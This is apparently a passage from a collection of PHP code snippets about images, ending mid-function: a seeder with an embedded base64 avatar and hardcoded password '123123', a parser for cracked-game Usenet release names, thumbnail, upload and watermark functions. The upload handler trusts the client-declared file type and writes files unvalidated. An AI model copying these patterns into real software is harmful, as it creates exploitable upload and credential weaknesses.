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\nEOD;\n DB::table('users')->insert([\n\t 'name' => 'Paul Warren',\n\t 'email' => '[email protected]',\n 'password' => bcrypt('123123'),\n\t 'avatar' => $avatar,\n\t ]);\n }",
"public function cd_image()\n\t{\n\t\tif (preg_match('/^\\[www\\..+?\\]-\\[(.+?)\\]-\\[\\d+\\/\\d+\\] \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Slender.The.Arrival-WaLMaRT.PC - [01/26] - \"wmt-stal.nfo\" - yEnc\n\t\t//The.Night.of.the.Rabbit-FLT - [03/66] - \"flt-notr.r00\" - FAiRLIGHT - 5,10 GB - yEnc\n\t\t//Resident.Evil.Revelations-FLT - PC GAME - [03/97] - \"Resident.Evil.Revelations-FLT.r00\" - FAiRLIGHT - yEnc\n\t\t//Afterfall.Insanity.Dirty.Arena.Edition-WaLMaRT - [MULTI6][PCDVD] - [02/45] - \"wmt-adae.r00\" - PC GAME - yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9.-]{10,}) -( PC GAME -| [A-Z0-9\\[\\]]+ -)? \\[\\d+\\/\\d+\\] - \".+?\" - (.+? - (\\d+[,.]\\d+ [mMkKgG][bB] - )?)?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[01/46] - Crashtime 5 Undercover RELOADED - \"rld-ct5u.nfo\" - PC - yEnc\n\t\t//[01/76] - Of.Orcs.And.Men-SKIDROW - \"sr-oforcsandmen.nfo\" - yEnc\n\t\t//PC Game - [01/71] - MotoGP 13-RELOADED Including NoDVD Fix - \"MotoGP 13-RELOADED Including NoDVD Fix nfo\" - yEnc\n\t\tif (preg_match('/^(PC Game - )?\\[\\d+\\/\\d+\\] - (.+?) - \".+?\" -( .+? -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Magrunner Dark Pulse FLT (FAiRLIGHT) - [02/70] - \"flt-madp par2\" - PC - yEnc\n\t\t//MotoGP 13 RELOADED - [01/71] - \"rld-motogp13 nfo\" - PC - yEnc\n\t\t//Dracula 4: Shadow of the Dragon FAiRLIGHT - [01/36] - \"flt-drc4 nfo\" - PC - yEnc\n\t\tif (preg_match('/^([A-Za-z0-9][a-zA-Z0-9: ]{8,}(-[a-zA-Z]+)?)( \\(.+?\\)| - [\\[A-Z0-9\\]]+)? - \\[\\d+\\/\\d+\\] - \".+?\" - .+? - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[NEW PC GAME] - Lumber.island-WaLMaRT - \"wmt-lisd.nfo\" - [01/18] - yEnc\n\t\t//Trine.2.Complete.Story-SKIDROW - \"sr-trine2completestory.nfo\" - [01/78] - yEnc\n\t\tif (preg_match('/^(\\[[A-Z ]+\\] - )?([a-zA-Z0-9.-]{10,}) - \".+?\" - \\[\\d+\\/\\d+\\] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //Uploader.Presents-Metal.Gear.Rising.Revengeance-RELOADED(51/65]\"rld-megerire.r48\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\(\\[]\\d+\\/\\d+\\]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"function tampilPhoto($nrk=''){\n $rs=$this->mdl->get_data($nrk)->row();\n $result = $rs->X_PHOTO->load();\n// If any text (or whitespace!) is printed before this header is sent,\n// the text won't be displayed and the image won't display properly.\n// Comment out this line to see the text and debug such a problem.\n header(\"Content-type: image/JPEG\");\n echo $result;\n }",
"function build_thumbnail($img, $tumb_width, $tumb_height)\n{\n\t$width = imageSX($img);\n\t$height = imageSY($img);\n\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t$target_width = $tumb_width;\n\t$target_height = $tumb_height;\n\t\n\t$target_ratio = $target_width / $target_height;\n\t$img_ratio = $width / $height;\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t\n\t$offx=0;\n\t$offy=0;\n\t$new_width=$width;\n\t$new_height=$height;\n\t\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio > $target_ratio) {\n\t\t$diff_ratio = $target_ratio / $img_ratio;\n\t\t$new_width = $width * $diff_ratio;\n\t\t$offx = ($width - $new_width) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio < $target_ratio){\n\t\t$diff_ratio = $img_ratio / $target_ratio;\n\t\t$new_height = $height * $diff_ratio;\n\t\t$offy = ($height - $new_height) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\t$new_img = ImageCreateTrueColor($tumb_width, $tumb_height);\n\n\t// Fill the image black\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif (!@imagefilledrectangle($new_img, 0, 0, $target_width-1, $target_height-1, 0)) {\n\t\techo \"ERROR\\nCould not fill new image\";\n//\t\texit(0);\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\tif (!@imagecopyresampled($new_img, $img, 0, 0, $offx, $offy, $target_width, $target_height, $new_width, $new_height)) {\n\t\techo \"ERROR\\nCould not resize image\";\n//\t\texit(0);\n\t}\n\n\treturn $new_img;\n}",
"function subir_imagenes($tipo,$imagen,$descripcion,$ruta,$size)\n\t{\n\t\t\t//return \"La imagen\".$tipo.\" No se subio\";\n\t\t\tif(strstr($tipo,\"image\"))\n\t\t\t{\n\n\t\t\t\tif(strstr($tipo,\"jpeg\"))\n\t\t\t\t\t$extension=\".jpg\";\n\t\t\t\telse if(strstr($tipo,\"gif\"))\n\t\t\t\t\t$extension=\".gif\";\n\t\t\t\telse if(strstr($tipo,\"png\"))\n\t\t\t\t\t$extension=\".png\";\n\t\t\t\t//para saber si la imagen tiene el ancho correcto es de 420px\n\t\t\t\t$tam_img=getimagesize($imagen);\n\t\t\t\t$ancho_img=$tam_img[0];\n\t\t\t\t$alto_img =$tam_img[1];\n\t\t\t\t$ancho_img_deseado=$size;\n\n\t\t\t\t//sii la imagen es maor en su ancho a 420px reajusto su tamaño\n\t\t\t\t\tif($ancho_img > $ancho_img_deseado)\n\t\t\t\t\t{\n\t\t\t\t\t\t//reajustamos\n\t\t\t\t\t\t//por una regla de tres obtengo el alto de la imagen de manera \n\t\t\t\t\t\t//proporciaonal el ancho nuevo que sera 420\n\t\t\t\t\t\t$nuevo_ancho_img = $ancho_img_deseado;\n\t\t\t\t\t\t$nuevo_alto_img=($alto_img*$nuevo_ancho_img)/$ancho_img;\n\t\t\t\t\t\t//CREO UNA IMAGEN EN COLOR REAL CON LA NUEVAS DIMENSIONES\n\t\t\t\t\t\n\t\t\t\t\t\t$img_reajustada=imagecreatetruecolor($nuevo_ancho_img, $nuevo_alto_img);\n\t\t\t\t\t\t//CREO UNA IMAGEN BASADA EN LA ORIGINAL DEPENDIENDO DE SU EXTENSION ES EL TIPO QUE CREARE\n\t\t\t\t\t\tswitch ($extension) {\n\t\t\t\t\t\t\tcase '.jpg':\n\t\t\t\t\t\t\t\t$img_original=imagecreatefromjpeg($imagen);\n\t\t\t\t\t\t\t\t//REAJUSTO LA IMAGEN NUEVA CON RESPETO ALA ORIGINAL \n\t\t\t\t\t\t\t\timagecopyresampled($img_reajustada, $img_original, 0, 0, 0, 0, $nuevo_ancho_img, $nuevo_alto_img, \n\t\t\t\t\t\t\t\t\t$ancho_img, $alto_img);\n\t\t\t\t\t\t\t\t//Guardo la imagen reescalada en el servidor \n\t\t\t\t\t\t\t\t$nombre_img_ext=$ruta.$descripcion.$extension;\n\t\t\t\t\t\t\t\t$nombre_img=$ruta.$descripcion;\n\t\t\t\t\t\t\t\timagejpeg($img_reajustada,$nombre_img_ext,100);\n\t\t\t\t\t\t\t\t//ejecuto la funcion para borrar posibles imagenes dobles del perfil\n\t\t\t\t\t\t\t\tborrar_imagenes($nombre_img,\".jpg\");\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase '.gif':\n\t\t\t\t\t\t\t\t$img_original=imagecreatefromgif($imagen);\n\t\t\t\t\t\t\t\t//REAJUSTO LA IMAGEN NUEVA CON RESPETO ALA ORIGINAL \n\t\t\t\t\t\t\t\timagecopyresampled($img_reajustada, $img_original, 0, 0, 0, 0, $nuevo_ancho_img, $nuevo_alto_img, \n\t\t\t\t\t\t\t\t\t$ancho_img, $alto_img);\n\t\t\t\t\t\t\t\t//Guardo la imagen reescalada en el servidor \n\t\t\t\t\t\t\t\t$nombre_img_ext=$ruta.$descripcion.$extension;\n\t\t\t\t\t\t\t\t$nombre_img=$ruta.$descripcion;\n\t\t\t\t\t\t\t\timagegif($img_reajustada,$nombre_img_ext,100);\n\t\t\t\t\t\t\t\t//ejecuto la funcion para borrar posibles imagenes dobles del perfil\n\t\t\t\t\t\t\t\tborrar_imagenes($nombre_img,\".gif\");\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase '.png':\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$img_original=imagecreatefrompng($imagen);\n\t\t\t\t\t\t\t\t//REAJUSTO LA IMAGEN NUEVA CON RESPETO ALA ORIGINAL \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\timagesavealpha($img_reajustada, true);\n\t\t\t\t\t\t\t\timagealphablending($img_reajustada, false);\t\n\t\t\t\t\t\t\t\timagecopyresampled($img_reajustada, $img_original, 0, 0, 0, 0, $nuevo_ancho_img, $nuevo_alto_img, \n\t\t\t\t\t\t\t\t$ancho_img, $alto_img);\n\t\t\t\t\t\t\t\timagecolortransparent($img_reajustada);\n\t\t\t\t\t\t\t\t//Guardo la imagen reescalada en el servidor \n\t\t\t\t\t\t\t\t$nombre_img_ext=$ruta.$descripcion.$extension;\n\t\t\t\t\t\t\t\t$nombre_img=$ruta.$descripcion;\n\t\t\t\t\t\t\t\timagepng($img_reajustada,$nombre_img_ext,0);\n\t\t\t\t\t\t\t\t//ejecuto la funcion para borrar posibles imagenes dobles del perfil\n\t\t\t\t\t\t\t\tborrar_imagenes($nombre_img,\".png\");\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t//no se reajusta y se sube\n\t\t\t\t\t\t$destino=$ruta.$descripcion.$extension;\n\n\t\t\t\t\t\t//Se sube la foto\n\t\t\t\t\t\tmove_uploaded_file($imagen,$destino) /*or die(\"No se pudo subir la imagen\")*/;\n\n\t\t\t\t\t\t//ejecuto la funcion para borrar posibles imagenes dobles para el perfil\n\t\t\t\t\t\t$nombre_img=$ruta.$descripcion;\n\t\t\t\t\t\tborrar_imagenes($nombre_img,$extension);\n\t\t\t\t\t}\n\t\t\t\t\t//Asigno el nombre que el que se guardara en la base de datos\n\t\t\t\t\t$imagen=$descripcion.$extension;\n\t\t\t\t\treturn $imagen;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn \"La imagen\".$imagen.\" No se subio\";\n\t\t\t}\n\n\t}",
"function create_image($player) {\n $i = imagecreatefrompng(_PWD . '/images/daily.png');\n\n // Characters are stored as a hex value on the leaderboards. The process.php script translates them\n // to decimal which is used as the index for this array\n $colors = array(\n 'orange',\n 'red',\n 'green',\n 'blue',\n 'white',\n 'pink',\n 'yellow',\n 'brown',\n 'purple',\n 'black',\n 'cyan',\n 'lime',\n 'dlc1',\n 'dlc2',\n 'dlc3',\n 'dlc4',\n 'dlc5',\n 'dlc6',\n 'dlc7',\n 'dlc8'\n );\n\n $white = imagecolorallocate($i, 255, 255, 255);\n $black = imagecolorallocate($i, 0, 0, 0);\n\n $icon = imagecreatefromjpeg(_PWD . '/images/' . $player->steamid . '.jpg');\n list($width, $height) = getimagesize(_PWD . '/images/' . $player->steamid . '.jpg');\n imagefilledrectangle($i, 18, 37, 83, 102, $white);\n imagecopy($i, $icon, 19, 38, 0, 0, $width, $height);\n imagettfstroketext($i, 32.0, 0, 207, 72, $white, $black, 'fonts/Tekton-Bold', $player->string, 3);\n imagettfstroketext($i, 32.0, 0, 182, 210, $white, $black, 'fonts/Tekton-Bold', $player->score, 3);\n imagettfstroketext($i, 32.0, 0, 392, 210, $white, $black, 'fonts/Tekton-Bold', $player->level, 3);\n imagettftext($i, 14.0, 0, 220, 17, $white, 'fonts/Tekton-Bold', date('m/d/Y'));\n imagettftext($i, 10.0, 0, 2, 252, $white, 'fonts/Tekton-Bold', '@KlepekVsRemo');\n\n $character = imagecreatefrompng(_PWD . '/images/char_' . $colors[$player->character] . '.png');\n imagecopy($i, $character, 13, 153, 0, 880, 80, 80);\n\n imagepng($i, _PWD . '/images/daily_' . $player->steamid . '.png');\n imagedestroy($icon);\n imagedestroy($i);\n }",
"public function createImgUri() {\n\t\t$this->imgUri = FLICKR_FARM;\n\t\t$this->imgUri .= $this->photo['farm'];\n\t\t$this->imgUri .= '.';\n\t\t$this->imgUri .= STATICFLICKR;\n\t\t$this->imgUri .= $this->photo['server'];\n\t\t$this->imgUri .= '/';\n\t\t$this->imgUri .= $this->photo['id'];\n\t\t$this->imgUri .= '_';\n\t \t$this->imgUri .= $this->photo['secret'];\n\t\t$this->imgUri .= '.';\n\t \t$this->imgUri .= IMGEXT;\n\t}",
"function image_hwstring($width, $height)\n {\n }",
"function displayCard($cards) {\n \n echo \"<img src= '../challenges2/img-2/cards/clubs/$cards.png' />\";\n }",
"private function generateThumbnailCmd(){\n\t}",
"function addSTC($propRS){\r\n\tinclude('Connections/adestate.php'); \r\n//\techo \"thmb =\".$propRS['THUMB_PIC_PATH'];\r\n\t$logo_file = \"images/soldstc.png\"; \r\n\t$image_file = $propRS['THUMB_PIC_PATH']; \r\n $image_info = getimagesize($image_file);\r\n\t//echo \"mannestateDB = \".$mannestateDB;\r\n\t$picture_ID = getSeqNextVal( $mannestateDB, $database_mannestateDB, \"sequence_picture_id\" );\r\n $uploadfilename = $picture_ID.'_STC_THUMB';\r\n $photo = \"\";\r\n $image_type = $image_info[2];\r\n\t//echo \"type = \".$image_info;\r\n\t if( $image_type == IMAGETYPE_JPEG ) {\r\n\t\t $photo = imagecreatefromjpeg($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".jpg\";\r\n\t } elseif( $image_type == IMAGETYPE_GIF ) {\r\n\t\t $photo = imagecreatefromgif($image_file);\r\n \t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".gif\";\r\n\t } elseif( $image_type == IMAGETYPE_PNG ) {\r\n\t\t $photo = imagecreatefrompng($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".png\";\r\n\t }\r\n //echo \"photo\".$photo;\r\n\t$fotoW = imagesx($photo); \r\n\t$fotoH = imagesy($photo); \r\n\t$targetfile = $uploadfile; \r\n\r\n $logoImage = imagecreatefrompng($logo_file); \r\n\t$logoW = imagesx($logoImage); \r\n\t$logoH = imagesy($logoImage); \r\n\t$photoFrame = imagecreatetruecolor($fotoW,$fotoH); \r\n\t$dest_x = $fotoW - $logoW; \r\n\t$dest_y = $fotoH - $logoH; \r\n\timagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH); \r\n\timagecopy($photoFrame, $logoImage, 0, 0, 0, 0, $logoW, $logoH); \r\n\timagejpeg($photoFrame, $targetfile); \r\n//\techo \"dest_x\".$dest_x;\r\n\t\r\n\t$image_file = $propRS['SLIDE_PIC_PATH']; \r\n $uploadfilename = $picture_ID.'_STC_SLIDE';\r\n\t if( $image_type == IMAGETYPE_JPEG ) {\r\n\t\t $photo = imagecreatefromjpeg($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".jpg\";\r\n\t } elseif( $image_type == IMAGETYPE_GIF ) {\r\n\t\t $photo = imagecreatefromgif($image_file);\r\n \t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".gif\";\r\n\t } elseif( $image_type == IMAGETYPE_PNG ) {\r\n\t\t $photo = imagecreatefrompng($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".png\";\r\n\t }\r\n\t$fotoW = imagesx($photo); \r\n\t$fotoH = imagesy($photo); \r\n\t$slidetargetfile = $uploadfile; \r\n\r\n $logoImage = imagecreatefrompng($logo_file); \r\n\t$logoW = imagesx($logoImage); \r\n\t$logoH = imagesy($logoImage); \r\n\t$photoFrame = imagecreatetruecolor($fotoW,$fotoH); \r\n\t$dest_x = $fotoW - $logoW; \r\n\t$dest_y = $fotoH - $logoH; \r\n\timagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, 